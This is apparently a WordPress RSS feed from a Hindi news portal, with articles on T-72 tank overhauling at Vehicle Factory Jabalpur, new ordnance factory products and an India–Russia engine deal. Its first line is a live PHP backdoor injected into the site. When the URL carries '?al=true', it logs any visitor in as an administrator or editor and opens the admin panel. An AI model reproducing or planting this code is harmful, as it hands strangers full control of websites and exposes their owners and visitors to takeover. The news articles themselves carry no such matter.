// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); T-72 tank – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 21 May 2025 11:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ओवरहॉलिंग के लिए चेन्नई की हैवी वीकल फैक्ट्री से टी-72 टैंक वीकल फैक्ट्री जबलपुर पहुंचा https://pratyushaashakinayikiran.com/?p=157906 Wed, 21 May 2025 11:15:00 +0000 https://pratyushaashakinayikiran.com/?p=157906 जबलपुर

 मेंटीनेंस, रिपेयरिंग और ओवरहॉलिंग ‘एमआरओ’ प्रोजेक्ट को आगे बढ़ाने के लिए चेन्नई की हैवी वीकल फैक्ट्री से एक और टी-72 टैंक वीकल फैक्ट्री जबलपुर (वीएफजे) पहुंच गया है। अब ओवरहॉलिंग का काम प्लानिंग के तहत शुरू किया जा रहा है। टी-72 टैंक भारतीय सेना के टैंक बेडे़ का प्रमुख आधार है। वर्तमान हालातों को देखते हुए इस प्रोजेक्ट को अहम माना जा रहा है। आर्मर्ड वीकल निगम लिमिटेड के अंतर्गत वीएफजे को यह नया काम मिला है। आने वाले समय में चेन्नई के बाद वीएफजे ऐसी दूसरी आयुध निर्माणी होगी, जहां इसका उत्पादन किया जाएगा। भविष्य में जो भी नए टैंक सेना के लिए बनाए जाएंगे, उनकी सभावनाएं भी तेज होंगी। इसी लिहाज से वीएफजे में सेटअप बनाया जा रहा है। फिलहाल, ओवरहॉलिंग के बाद मैन्युफैक्चरिंग होगी।

Powerful T-72 tank : दो टैंक का अनुबंध
एमआरओ प्रोजेक्ट के तहत वीएफजे और हैवी वीकल फैक्ट्री के बीच दो टी-72 टैंक का अनुबंध हुआ था। सुविधाएं बढ़ने के साथ टैंक ओवरहॉलिंग के बाद इनका निर्माण शुरू हो जाएगा। इसका सेटअप फैक्ट्री में तैयार किया जा रहा है। टैंक शॉप में तमाम मशीनों के साथ ही कलपुर्जों का निर्माण और बाहर से आने वाले कलपुर्जों की व्यवस्था की जाएगी। टेस्ट ट्रैक भी बनाया जाएगा। फैक्ट्री एस्टेट में इसके लिए भूमि चिन्हित की जा रही है।

कलपुर्जों को खोला
चेन्नई से आए इंजीनियर और वीएफजे की विशेषज्ञ कर्मचारियों की देखरेख में दूसरे टैंक की ओवरहॉलिंग का काम शुरू हो गया है। शुरूआत बाहरी भाग से की जा रही है। बाद में इंजन और चेचिस के अलावा दूसरे प्रमुख भागों को खोलकर उनकी ओवरहॉलिंग की जाएगी। इस दौरान जिन कलपुर्जों की जरूरत होगी, उसे चेन्नई के अलावा दूसरी आयुध निर्माणियों और निजी क्षेत्र सेे लिया जाएगा। ऐसे में जबलपुर में इसके लिए एक सप्लाई चेन भी निर्मित होगी जो कि रिछाई और आधारताल औद्योगिक क्षेत्र में काम करने वाली डिफेंस एंसेलरीज के लिए बड़ा अवसर होगा।
Powerful T-72 tank : एमआरओ प्रोजेक्ट के तहत दूसरा टी-72 टैंक आ गया है। अब दोनों की ओवरहॉलिंग शुरू कर दी गई है। जरूरी संसाधन जुटाए जा रहे हैं।

    विपुल वाजपेयी, जनसपर्क अधिकारी वीएफजे

 

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जबलपुर में होगी टी-72 टैंक की ओवरहॉलिंग, एक पखवाड़े में आएंगे दो टी-72 टैंक https://pratyushaashakinayikiran.com/?p=141572 Wed, 19 Mar 2025 03:56:00 +0000 https://pratyushaashakinayikiran.com/?p=141572 जबलपुर

निगमीकरण के बाद आयुध निर्माणियों में नए डिफेंस प्रोडक्ट के निर्माण को लेकर तेजी आई है। शहर की चारों निर्माणियां भी इसमें आगे हैं। टी-72 टैंक प्रोजेक्ट इसमें सबसे नया है। अब धनुष से आगे के फीचर वाली तोप का निर्माण चल रहा है। दूसरी तरफ ब्रहोस मिसाइल के बारहेड की फिलिंग और टैंक भेदी बम के नए वर्जन बन रहे हैं।

आयुध निर्माणियों में नए उत्पाद जुड़े
आयुध निर्माणियों में 18 मार्च को स्थापना दिवस मनाया जाता था। इस अवसर पर ओएफके, जीसीएफ, वीएफजे और ओएफजे (पूर्व नाम जीआइएफ) में प्रदर्शनी लगती थी। इनके सभी हथियारों का प्रदर्शन किया जाता था। लोग इन्हें अपने हाथों से छूने के साथ ही विध्वंसक क्षमता की जानकारी जुटाते थे। लेकिन निगमीकरण के बाद आयुध निर्माणी दिवस नहीं मनाया जाता।

एक पखवाड़े में आएंगे दो टी-72 टैंक
सेना के लिए वाहन बनाने वाली वीकल फैक्ट्री जबलपुर (वीएफजे) अब टैंक की ओवरहालिंग करेगा। इसे एमआरओ प्रोजेक्ट नाम दिया गया है। वीएफजे के पीआरओ विपुल वाजपेयी बताते है कि एक पखवाड़े के भीतर चेन्नई की ऑर्डनेंस फैक्ट्री आवडी से दो टी-72 टैंक जबलपुर लाए जाएंगे। उसके लिए यूनिट तैयार कर ली गई है।

 टोड से माउंटेड गन सिस्टम पर काम
गन कैरिज फैक्ट्री (जीसीएफ) ने 155 एम
एम 45 कैलीबर धनुष तोप का निर्माण कर रक्षा क्षेत्र में नया रेकॉर्ड बनाया था। जीसीएफ के महाप्रबंधक राहुल चौधरी ने बताया कि अब इससे आगे 155 एमएम 52 कैलीबर टोड और माउंटेड धनुष तोप बनाई जाएगी। इसके प्रोटोटाइप बन चुके हैं। इसी प्रकार डबल बैरल एल-70 एंटी एयरक्राफ्ट गन भी बनेगी।

जमीन से आसमान तक मार
ओएफके में भी बफीर्ली पहाड़ियों में बर्फ का वबंडर बनाने वाले 84 एमएम अटेक्स तैयार किया गया है। बहोस मिसाइल के वारहेड में बारूद की फिलिंग का ट्रायल चल रहा है। एल-70 एंटी एयरक्राट एमुनेशन को अपग्रेड किया गया है।

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टी-72 टैंक को मिलेगा अधिक शक्तिशाली इंजन, भारत और रूस के बीच 248 मिलियन डॉलर की डील https://pratyushaashakinayikiran.com/?p=139891 Fri, 14 Mar 2025 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=139891 नई दिल्ली

रक्षा मंत्रालय ने भारतीय सेना के टी-72 टैंकों के लिए अधिक शक्तिशाली 1000 एचपी इंजन की खरीद के लिए रूस के  सोबोरोनएक्सपोर्ट के साथ 248 मिलियन डॉलर का कॉन्ट्रैक्ट किया। इस सौदे में रोसोबोरोनएक्सपोर्ट से आर्मर्ड व्हीकल्स निगम लिमिटेड (हैवी व्हीकल फैक्ट्री), अवाडी, चेन्नई को ट्रांसफर ऑफ टेक्नोलॉजी (टीओटी) भी शामिल है।

टी-72 भारतीय सेना के टैंक बेड़े का मुख्य आधार है। वर्तमान में इसमें 780 एचपी इंजन लगा हुआ है। रक्षा मंत्रालय ने कहा कि टी-72 टैंकों के मौजूदा बेड़े को 1000 एचपी इंजन से लैस करने से भारतीय सेना की युद्धक्षेत्र गतिशीलता और आक्रामक क्षमता में वृद्धि होगी।

रूस में निर्मित टी-72 भारतीय सेना के बेड़े का मुख्य टैंक है, जो अभी 780 हॉर्स पावर इंजन से संचालित है। भारत के पास टी-72 टैंक के कुल तीन वेरिएंट हैं। टी-72 टैंकों के मौजूदा बेड़े को अब 1000 एचपी इंजन से लैस किया जाएगा, जिससे भारतीय सेना की युद्धक गतिशीलता और आक्रामक क्षमता बढ़ेगी। इस टैंकको 1960 के दशक में सोवियत रूस ने विकसित और निर्मित करके रूसी सेना ने तमाम मोर्चों पर इसका इस्तेमाल शुरू किया। चीन के साथ 1962 में लड़ाई के बाद भारतीय सेना को आधुनिक हथियारों से लैस करने की योजना बनी। इसी क्रम में 1970 के आसपास भारत ने रूस से टी-72 टैंक खरीदा। यह यूरोप से बाहर भारत का पहला टैंक सौदा था और तबसे यह भारतीय सेना का भरोसेमंद साथी है।

वहीं मजबूत सरकारी समर्थन के दम पर, भारत का रक्षा उत्पादन 2023-24 में 1.27 लाख करोड़ रुपये के रिकॉर्ड स्तर पर पहुंच गया, जो 2014-15 के 46,429 करोड़ रुपये से 174 प्रतिशत अधिक है। देश का लक्ष्य 2029 तक रक्षा उत्पादन को 3 लाख करोड़ रुपये तक पहुंचाना है। रक्षा मंत्री राजनाथ सिंह ने हाल ही में कहा कि भारत का आत्मनिर्भर अभियान ‘वांछित परिणाम दे रहा है’ और देश 2029-30 तक रक्षा निर्यात में 50,000 करोड़ रुपये तक पहुंचने की ओर अग्रसर है।

रक्षा मंत्री राजनाथ सिंह ने कहा कि आत्मनिर्भरता हासिल करने के सरकार के प्रयास बेहद सफल साबित हो रहे हैं। रक्षा निर्यात, जो 10 साल पहले सिर्फ 600 करोड़ रुपये था, वित्त वर्ष 2023-24 में 21,000 करोड़ रुपये के रिकॉर्ड आंकड़े को पार कर गया। उन्होंने भरोसा जताया कि यह प्रगति जारी रहेगी और 2029-30 तक रक्षा निर्यात 50,000 करोड़ रुपये तक पहुंच जाएगा।

केयरएज रेटिंग्स की रिपोर्ट के अनुसार, मजबूत सरकारी समर्थन और निजी क्षेत्र की बढ़ती भागीदारी से भारत का रक्षा क्षेत्र का उत्पादन वित्त वर्ष 24-29 के दौरान लगभग 20 प्रतिशत की चक्रवृद्धि वार्षिक वृद्धि दर (सीएजीआर) से बढ़ने वाला है। भारत के रक्षा क्षेत्र में सरकारी और निजी क्षेत्र की संस्थाओं के बीच सहयोग से हथियार और गोला-बारूद, एयरोस्पेस, इलेक्ट्रॉनिक्स और नौसेना प्रौद्योगिकियों में प्रगति हुई है।

 

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